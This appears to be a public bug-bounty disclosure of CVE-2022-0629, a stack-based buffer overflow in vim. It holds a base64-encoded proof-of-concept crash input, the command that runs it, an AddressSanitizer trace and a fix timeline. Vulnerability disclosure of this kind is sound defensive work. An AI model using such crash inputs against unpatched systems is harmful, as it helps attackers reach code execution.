Stack-based Buffer Overflow in vim/vim

Valid Reported on Feb 16th 2022

Description

Buffer overflow occurs in ga_concat_shorten_esc().
commit : f5288c589500de0677444af4a428cfbccfccb8ce

Proof of Concept

```
# poc
$ echo -ne "bm9ybTEwMGdy3YAKZnUgUigpCmxldCBsaW5lPWldGxpbmUoMSkKcmV0dSBsaW5
bGwgYXNzZXJ0X2VxdWFsKDEsUigpKQo=" | base64 -d > poc

# ASAN
$ ./src/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S mpoc -c ":qa!"
=================================================================
==1282255==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x6116
READ of size 1 at 0x611000001992 thread T0
    #0 0xc512ef in ga_concat_shorten_esc /home/alkyne/vim-debug/src/testing
    #1 0xc4bdd1 in fill_assert_error /home/alkyne/vim-debug/src/testing.c:2
    #2 0xc498a4 in assert_equal_common /home/alkyne/vim-debug/src/testing.c
    #3 0xc4972a in f_assert_equal /home/alkyne/vim-debug/src/testing.c:411
    #4 0x63311b in call_internal_func /home/alkyne/vim-debug/src/evalfunc.c
    #5 0xcc0dfc in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:14
    #6 0xcbf004 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1782:8
    #7 0xce002e in ex_call /home/alkyne/vim-debug/src/userfunc.c:5398:6
    #8 0x6be248 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #9 0x6b1cf2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #10 0xad0efe in do_source /home/alkyne/vim-debug/src/scriptfile.c:1516
    #11 0xace6bc in cmd_source /home/alkyne/vim-debug/src/scriptfile.c:1098
    #12 0xace43d in ex_source /home/alkyne/vim-debug/src/scr
    #13 0x6be248 in do_one_cmd /home/alkyne/vim-debug/src/e
    #14 0x6b1cf2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
```

```
    #15 0x6b4fb0 in do_cmdline_cmd /home/alkyne/vim-debug/src/ex_docmd.c:58
    #16 0xe9e4c4 in exe_commands /home/alkyne/vim-debug/src/main.c:3089:2
    #17 0xe9c1fe in vim_main2 /home/alkyne/vim-debug/src/main.c:772:2

    #18 0xe95e3b in main /home/alkyne/vim-debug/src/main.c:424:12
    #19 0x7ffff7bf80b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #20 0x41ea0d in _start (/home/alkyne/vim-debug/src/vim.asan+0x41ea0d)

0x611000001992 is located 199 bytes to the right of 203-byte region [0x6110
allocated by thread T0 here:
    #0 0x49b1bd in __interceptor_malloc (/home/alkyne/vim-debug/src/vim.asa
    #1 0x4cd318 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
    #2 0x4cd269 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
    #3 0xba8c71 in string_quote /home/alkyne/vim-debug/src/strings.c:782:13
    #4 0x617017 in echo_string_core /home/alkyne/vim-debug/src/eval.c:5202:
    #5 0xc87bfa in tv2string /home/alkyne/vim-debug/src/typval.c:2186:12
    #6 0xc4bdc6 in fill_assert_error /home/alkyne/vim-debug/src/testing.c:2
    #7 0xc498a4 in assert_equal_common /home/alkyne/vim-debug/src/testing.c
    #8 0xc4972a in f_assert_equal /home/alkyne/vim-debug/src/testing.c:411:
    #9 0x63311b in call_internal_func /home/alkyne/vim-debug/src/evalfunc.c
    #10 0xcc0dfc in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:14
    #11 0xcbf004 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1782:
    #12 0xce002e in ex_call /home/alkyne/vim-debug/src/userfunc.c:5398:6
    #13 0x6be248 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #14 0x6b1cf2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #15 0xad0efe in do_source /home/alkyne/vim-debug/src/scriptfile.c:1516:
    #16 0xace6bc in cmd_source /home/alkyne/vim-debug/src/scriptfile.c:1098
    #17 0xace43d in ex_source /home/alkyne/vim-debug/src/scriptfile.c:1124:
    #18 0x6be248 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #19 0x6b1cf2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #20 0x6b4fb0 in do_cmdline_cmd /home/alkyne/vim-debug/src/ex_docmd.c:58
    #21 0xe9e4c4 in exe_commands /home/alkyne/vim-debug/src/main.c:3089:2
    #22 0xe9c1fe in vim_main2 /home/alkyne/vim-debug/src/main.c:772:2
    #23 0xe95e3b in main /home/alkyne/vim-debug/src/main.c:424:12
    #24 0x7ffff7bf80b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: stack-buffer-overflow /home/alkyne/vim-debug/src
Shadow bytes around the buggy address:
  0x0c227fff82e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff82f0: 06 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

```
  0x0c227fff8310: 00 00 00 00 00 00 00 00 00 03 fa fa fa fa fa fa
  0x0c227fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c227fff8330: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa

  0x0c227fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1282255==ABORTING
```

Impact

This vulnerability is capable of arbitrary code execution.

CVE
CVE-2022-0629
(Published)

Vulnerability Type
CWE-121: Stack-based Buffer Overflow

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 906 times.

We are processing your report and will contact the **vim** team within 24 hours. 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago Maintainer

Fixed with patch 8.2.4397

Bram Moolenaar marked this as fixed in **8.2** with commit **34f811** 9 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation